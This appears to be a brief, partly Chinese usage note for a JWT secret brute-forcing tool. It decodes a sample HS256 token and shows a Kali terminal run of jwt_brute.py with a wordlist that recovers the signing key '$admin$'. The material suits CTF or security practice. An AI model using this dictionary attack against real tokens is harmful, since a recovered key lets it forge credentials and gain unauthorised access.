
JWT_Brute
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmFuYSIsImFjdGlvbiI6InVwbG9hZCJ9.56wwCrB9tIgmUnYpLPxkO8GYj1soCjuu_skTlbH_Gg8
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 >> base64 decode >> {"alg":"HS256","typ":"JWT"}
eyJ1c2VyIjoibmFuYSIsImFjdGlvbiI6InVwbG9hZCJ9 >> base64 decode >> {"user":"nana","action":"upload"}
56wwCrB9tIgmUnYpLPxkO8GYj1soCjuu_skTlbH_Gg8 >> 需要指定key 加密得到


python3 jwt_brute.py 4.txt
root@kali:~/jwt# python3 jwt_brute.py 4.txt
___ _______ ____ _
| \ \ / /_ _| | __ ) _ __ _ _| |_ ___
_ | |\ \ /\ / / | | | _ \| '__| | | | __/ _ \
| |_| | \ V V / | | | |_) | | | |_| | || __/
\___/ \_/\_/ |_| |____/|_| \__,_|\__\___|
用法:python3 jwt.py dict.txt
例如:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmFuYSIsImFjdGlvbiI6InVwbG9hZCJ9.56wwCrB9tIgmUnYpLPxkO8GYj1soCjuu_skTlbH_Gg8
这个 key 是 >>> $admin$
_________________________________________________________________________________________________________________________________________
请输入您的编码后的 JWT 字符串= eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmFuYSIsImFjdGlvbiI6InVwbG9hZCJ9.56wwCrB9tIgmUnYpLPxkO8GYj1soCjuu_skTlbH_Gg8 尝试 admin
jwt.decode={'user': 'nana', 'action': 'upload'}
找到了!key 为 --> $admin$ <--
root@kali:~/jwt#